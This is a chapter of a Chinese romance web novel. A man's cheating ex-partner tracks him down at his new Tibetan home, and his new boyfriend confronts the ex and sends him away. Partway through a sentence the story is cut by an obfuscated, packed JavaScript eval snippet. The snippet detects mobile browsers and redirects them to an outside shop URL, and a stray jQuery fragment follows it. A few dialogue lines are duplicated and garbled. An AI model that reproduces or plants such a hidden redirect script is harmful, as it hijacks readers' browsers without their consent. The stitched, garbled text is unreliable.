他们旅行以及结束了。阿妈米玛啦依旧在念经。日子很平淡。
藏历新年后的第三周，春天终于有了回来的迹象，向阳的坡地上，枯草根部冒出了针尖般的绿意。尼玛旺堆蹲在院子里修补篱笆，沈翊在旁边递工具，两人有一搭没一搭地说着话。
“东边的草地该去看了，”尼玛旺堆用锤子敲实一根木桩，“雪化之后，狐狸会来掏旱獭洞，得把网补上。”
沈翊递过钉子：“哪天去？我帮你。”
“明天吧，如果天气——”
他的话戛然而止。
院门外站着一个人。
那人与这个环境格格不入到了刺目的地步，驼色的羊绒大衣，剪裁合体的西裤，皮鞋擦得锃亮，手里还拉着一个银色行李箱。行李箱的轮子在土路上留下了清晰的痕迹，像一道闯入的伤口。
是江泽。
沈翊感觉时间瞬间凝固了。
手里的钉子撒了一地，叮叮当当地滚到尼玛旺堆脚边。尼玛旺堆抬起头，看看门外的陌生人，又看看沈翊瞬间苍白的脸，慢慢站了起来。
“沈翊。”江泽开口了，声音有些哑，带着长途跋涉的疲惫，“我找了你两个月。”
沈翊张了张嘴，发不出声音。这两个月，从北京到西藏，从冬天到春天，从心如死灰到重新活过来，他几乎忘记了江泽的存在。不，不是忘记，是那段记忆被新的生活覆盖了，像新雪盖住旧痕。
可现在，旧痕扒开积雪，露出底下依然溃烂的皮肉。
“你怎么……”沈翊终于找回了声音，“找到这里的？”
江泽笑了笑，那笑容里没有温度：“你忘了？我们在一起的时候，你的所有账号密码我都知道。微博定位，朋友圈照片里的建筑，还有，”他的目光扫过尼玛旺堆，“你给这个人拍的照片，背景里露出了路牌。”
沈翊感到一阵恶心。不是愤怒，是更深的、被扒光了的羞耻感。那些他以为已经愈合的伤口，原来只是被纱布盖住了，现在纱布被粗暴地扯开，露出底下从未真正结痂的皮肉。
尼玛旺堆走到了沈翊身边。他没有说话，只是站得很近，近到沈翊能感觉到他身体散发的热度。这个简单的动作让沈翊稍微稳住了呼吸。
“这位是？”江泽的目光落在尼玛旺堆身上，上下打量着，像在评估一件商品。
“尼玛旺堆。”尼玛旺堆自己回答了，声音很平，“沈翊的男朋友。”
“朋友？”江泽压根没带脑子一股脑输出，“什么样的朋友，会住在一起？”
“？”江泽不可置信的问，“什么朋友？”
“男朋友”尼玛旺堆道。
这句话里的暗示像一把小刀，精准地刺向最敏感的位置。沈翊感到尼玛旺堆的身体绷紧了。
“江先生，”沈翊深吸一口气，向前走了一步，“我们已经分手了。你怎么找到我的，为什么来找我，都不重要。请你离开。”
“分手？”江泽笑了，笑声短促而尖利，“沈翊，我们在一起七年。七年！你说分手就分手？就因为……就因为那一次错误？”
“错误？”沈翊重复这个词，忽然觉得可笑，“江泽，你管那叫‘错误’？你和一个男人光着身子躺在我床上，你管那叫‘一次错误’？”
他的声音在颤抖，但不是因为软弱，而是因为愤怒，对自己曾经爱过这个人的愤怒，对此刻还要面对他的愤怒。
江泽的表情僵硬了一瞬，但很快恢复了那种掌控者的姿态：“是，我错了。我道歉，我后悔了。可是沈翊，你呢？你就没有一点错吗？七年，你给我的时间有多少？你总是加班，总是累，我们之间除了吃饭睡觉还有什
么？我需要的是一个活生生的爱人，不是一个只会给我买礼物的机器人！”
这些话像排练过无数遍，流畅而锋利。
沈翊感到心脏被刺穿了，不是因为这些话本身，而是因为他曾经也这样质疑过自己。在那些失眠的夜里，他确实问过：是不是我做得不够好？是不是我太无趣了？是不是……我根本不值得被爱？
“够了。”尼玛旺堆开口了。
他的声音不大，但有一种奇特的穿透力，像一块石头投入沸腾的水，瞬间让水面平静下来。江泽和沈翊都看向他。
尼玛旺堆看着江泽，眼神平静得像在看一个不懂事的孩子：“你说完了吗？”
江泽被这种态度激怒了：“你是谁？我们之间的事轮不到你插嘴。”
“我是沈翊的男朋友。”尼玛旺堆说，每个字都咬得很清楚，“他现在住在我家，我是这里的主人。所以，轮不到你在这里大声说话。”
他走向院门，不是气势汹汹，而是从容不迫。打开门，站在门边，做了一个“请”的手势：“你可以走了。”
“我不走！”江泽的声音提高了，“沈翊，我今天来是要一个答案！你为什么拉黑我？为什么不回北京？你知道我为了找你花了多少工夫吗？我连工作都辞了！”
沈翊看着眼前这张熟悉又陌生的脸。七年前，这张脸上有让他心动的笑容；七年间，这张脸渐渐模糊成习惯；几个月前的那个夜晚，这张脸在声控灯下和另一个人贴在一起；而现在，这张脸上只有一种可怕的执念，不是爱，是占有欲没有得到满足的不甘。
“江泽，”沈翊听见自己说，声音出奇地平静，“答案我早就给过你了。我们结束了。至于我为什么不回北京，我为什么还要回去？”
“你的工作呢？你的房子呢？你的生活呢？”江泽步步紧逼，“就为了躲在这里，和这个……这个藏族男人在一起？沈翊，你清醒一点！这里不是你该待的地方！”
“那什么地方是我该待的？”沈翊反问，“北京？那个我每天加班到深夜、回家发现男友出轨的城市？还是那个我父母各自出柜、把我当报复工具的家庭？”
他说出了从未对尼玛旺堆完整说出的过去。那些藏在心底最暗处的羞耻，此刻像脓液一样被挤出来，暴露在阳光下。
江泽愣住了。他显然没想到沈翊会在这里、当着这个藏族男人的面说出这些。
“你……”他张了张嘴。
“我什么？”沈翊往前走了一步，这一步让他彻底从尼玛旺堆的阴影里走出来，站到了阳光底下，“江泽，你知道我最恶心的是什么吗？不是你出轨，不是你不爱我，是你到现在还觉得，我应该原谅你，应该回到你身边，应该继续过那种自欺欺人的生活。”
他的声音开始颤抖，但不是因为恐惧：“因为你觉得我无处可去，对不对？你觉得我除了你，没有人会要我，对不对？你觉得像我这样，父母都是同性恋、自己也是同性恋、性格古怪、不会爱人的人。除了你江泽大发慈悲收留，就没有别的出路了，对不对？”
这些话像刀子，一刀刀割开他自己。但奇怪的是，割开之后不是疼痛，而是一种近乎麻木的清醒。
江泽的脸色白了。他看向尼玛旺堆，眼神里有种狗急跳墙的狠意：“他跟你说了吗？他父母的事？他爸爸骗婚，妈妈为了报复出柜，他自己……他自己也是个恶心的同性恋！他在北京根本待不下去，没有公司敢要他，朋友都离他远远的！你知不知道你收留的是个什么人？”
空气凝固了。
沈翊闭上眼睛。来了，最害怕的时刻来了，那些他小心翼翼藏在心底的、连自己都不敢正视的羞耻，被最不该知道的人，用最恶毒的方式，摊开在他最在乎的人面前。
他等着。等着尼玛旺堆的反应。等着那个可能会出现的、恍然大悟后的退却，或者至少是震惊和犹豫。
但什么都没有。
他听见尼玛旺堆的声音，平静得不像话：“我知道。”
沈翊猛地睁开眼睛。
尼玛旺堆看着他，眼神里没有惊讶，没有嫌弃，只有一种深沉的、几乎让人落泪的理解。然后他转向江泽，语气依然平静：“沈翊跟我说过他的过去。一点一点，在他准备好的时候，告诉我的。”
他往前走了一步，挡在了沈翊和江泽之间。这个动作很自然，像老鹰张开翅膀护住雏鸟。
“你说这些，是想让我看不起他，还是想让我赶他走？”尼玛旺堆问，声音里甚至有一丝好奇，仿佛真的在探讨一个问题，“可是江先生，你好像不明白，你说的这些，对我来说，不是他的耻辱，是他的伤痕。”
江泽愣住了。
“伤痕，你懂吗？”尼玛旺堆继续说，语气像是在教一个不懂事的孩子，“就是一个人活过的证明。有的人的伤痕在手上，是劳作留下的；有的人的伤痕在心里，是生活留下的。沈翊的伤痕在心里，很深，很痛。但那是他的过去，不是他的罪。”
他转过身，面向沈翊，背对着江泽，用整个身体筑起一道墙：“而在我这里，伤痕不是用来嘲笑和攻击的。是用来理解，用来心疼，用来……慢慢帮着愈合的。”
沈翊的视线模糊了。他看不清尼玛旺堆的脸，只能看见一个轮廓，一个在阳光下站得笔直的、为他挡去所有风雨的轮廓。
江泽的声音从尼玛旺堆身后传来，带着气急败坏的尖刻：“你装什么圣人？你不就是看他长得白净，想玩玩吗？我告诉你，沈翊这个人，根本不会爱人！他冷漠，自私，心里只有他自己！你现在觉得新鲜，等时间长了，你会后悔的！”
尼玛旺堆没有回头。他甚至没有动。他只是看着沈翊，伸出手，握住了沈翊冰凉的手。
“江先生，”他说，声音终于有了一丝波澜，不是愤怒，而是悲哀，“你说沈翊不会爱人。可是你知道吗？真正的爱，不是占有，不是控制，不是在他最脆弱的时候踩上一脚。”
他转过身，但手依然握着沈翊的手。两人的手在阳光下交握，十指紧扣，像某种无声的宣告。
“真正的爱，是他在北京受伤了，逃到西藏，我给他一碗热茶；是他学不会藏语急得脸红，我一遍遍教他；是他做噩梦醒来一身冷汗，我握着他的手告诉他‘我在’；是现在——你站在这里，想要撕开他所有的伤口，我站在他前面，告诉他‘别怕’。”
尼玛旺堆的声音不高，但每个字都像石头，沉甸甸地砸在地上：“你说他不会爱人。那我告诉你，他会的。他会在我阿妈生病
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183001|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时，整夜守在佛堂念经；他会在我姐姐忙不过来时，学着挤牛奶把手磨破；他会记住我不吃辣，会在转山时把最后一口水留给我。这些，江先生，你得到过吗？”
江泽的脸色从白转红，又转青。他张着嘴，却发不出声音。
“你没有。”尼玛旺堆替他回答了，“因为你只想要一个完美的、符合你想象的沈翊。他要聪明，但不能比你聪明；他要独立，但不能不依赖你；他要爱你，但必须用你规定的方式。”他摇摇头，“那不是爱。那是……绑架。”
他向前走了一步，江泽下意识地后退了一步。
“现在，请你离开。”尼玛旺堆说，语气是最后的通牒，“不是请求，是要求。这是沈翊的家，也是我的家。我们不欢迎你。”
江泽看着他们，看着他们紧握的手，看着尼玛旺堆护犊般的姿态，看着沈翊站在他身后，不是躲藏，而是并肩。那个曾经在他面前总是微微低头、习惯性道歉的沈翊，此刻挺直了脊背，眼神里有种他从未见过的光芒。
那光芒不是给他的。从来不是。
“好……好……”江泽点着头，往后退，行李箱的轮子在土路上发出刺耳的摩擦声，“沈翊，你别后悔。你在这种地方，跟这种人在一起，你的人生完了！你完了！”
他几乎是踉跄着转身，拖着行李箱快步离开，背影狼狈得像条丧家之犬。
院门外恢复了安静。只有风吹过经幡的声音，远处牛羊的叫声，和两人交握的手心里，渐渐回升的温度。
尼玛旺堆松开手，转过身，面对沈翊。他的表情很严肃，眉头皱着。
“对不起，”沈翊先开口，声音哑了，“我没想到他会……”
“该道歉的不是你。”尼玛旺堆打断他，伸手抹去他脸上不知何时滑下的眼泪，“是他。”
他的拇指粗糙，带着茧，擦过皮肤时有点疼，但那种真实的触感让沈翊终于确信，这不是梦，江泽真的来过，而尼玛旺堆真的挡在了他前面。
“你……”沈翊想问很多问题。你怎么知道那些？你什么时候知道的？你为什么……不介意？
但他问不出口。因为答案已经写在尼玛旺堆的眼睛里，那双深邃的、此刻盛满温柔和心疼的眼睛里。
“沈翊，”尼玛旺堆说，双手捧住他的脸，强迫他看着自己，“听我说。你的过去，是你的一部分。好的，坏的，痛的，都是你。而我认识的、喜欢的，是这个完整的你，包括那些伤痕，包括那些你不敢告诉任何人的秘密。”
他的额头抵上沈翊的额头，闭上眼睛：“所以，不要道歉。永远不要为你的过去向我道歉。因为如果没有那些过去，你就不会来到这里，不会成为现在这个，让我想要用一生去珍惜的人。”
沈翊的眼泪终于决堤。不是悲伤的泪，是某种沉重的、一直压在心口的东西终于被搬开后的释放。他抱住尼玛旺堆，把脸埋在他肩头，无声地哭泣。
尼玛旺堆抱紧他，一只手轻轻拍着他的背，像在安抚一个受惊的孩子。
远处，德吉次仁从屋里走出来，看见院子里的这一幕，停下了脚步。
她没有上前，只是站在那里，看了很久，然后轻轻叹了口气，转身回了屋。
而在屋顶正在收拾旧风马旗的阿妈米玛啦，在看到他们相吻的那一刻，差点跌倒。
阳光继续洒在院子里，洒在那对相拥的人身上，洒在尼玛旺堆刚刚修补好的篱笆上，洒在一地散落的钉子上。那些钉子闪着光，像被遗落的星辰。
不知过了多久，沈翊抬起头，眼睛红肿，但眼神清澈。
“尼玛旺堆，”他说，声音还带着鼻音，“谢谢你。”
尼玛旺堆摇头，用袖子粗鲁地擦去他脸上的泪痕：“不用谢。这是我该做的。”
“该做的？”
“嗯。”尼玛旺堆认真点头，“保护自己的家人，是男人该做的事。”
家人。这个词又一次出现。但这一次，沈翊没有感到惶恐，只有一种沉甸甸的、踏实的暖意。
“走吧，”尼玛旺堆捡起地上的锤子，“篱笆还没修完。”
“明天还去东边草场吗？”
“去。”尼玛旺堆说，把锤子递给他，“你答应要帮我的。”
沈翊接过锤子，手还有点抖，但已经稳了很多。他看着尼玛旺堆蹲下身，重新开始敲打木桩，背影宽厚而坚实。
风吹过，院墙上的经幡哗哗作响。远处传来江泽离开时那个方向的汽车引擎声，但很快就消失在风里，像从未出现过。
沈翊蹲到尼玛旺堆身边，递上一颗钉子。尼玛旺堆接过，敲进木桩，动作熟练而沉稳。
一下，又一下。
像心跳，像誓言，像这片高原上千年不变的、沉默而坚定的生活节奏。
而沈翊知道，从今天起，这个节奏里，也有了他的一份。
尼玛旺堆又说：“去草场之后，还要去湿地，我们第一次去然后你衣服被弄湿的那个地方……”
沈翊满脸通红：“你不要再取消我了……”
笑声洋溢着院子。